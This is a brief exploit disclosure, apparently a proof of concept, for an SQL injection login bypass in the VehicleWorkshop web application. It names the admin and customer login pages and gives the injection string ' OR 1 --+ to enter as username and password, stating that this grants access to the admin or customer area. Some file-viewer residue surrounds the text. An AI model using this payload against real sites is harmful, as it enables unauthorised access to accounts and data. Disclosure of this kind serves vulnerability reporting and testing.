26 lines
No EOL
618 B
Text
26 lines
No EOL
618 B
Text
[*] Type: Admin or Customer login bypass via SQL injection
|
|
[*] Author: Touhid M.Shaikh
|
|
[*] Vendor Homepage: https://github.com/spiritson/VehicleWorkshop
|
|
[*] Mail: touhidshaikh22[at]gmail[dot]com
|
|
[*] More info: https://blog.touhidshaikh.com/
|
|
|
|
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|
|
|
|
|
|
===================== PoC ================
|
|
|
|
Admin Login Page : http://127.0.0.1/emplogin.php
|
|
Customer Login Page : http://127.0.0.1/login.php
|
|
|
|
|
|
Navigate admin login page or Customer Login Page and submit ' OR 1 --+ for
|
|
username and password
|
|
|
|
|
|
|
|
|
|
and it should give you access to the admin area or Customer Area.
|
|
|
|
|
|
Regards.
|
|
Touhid Shaikh |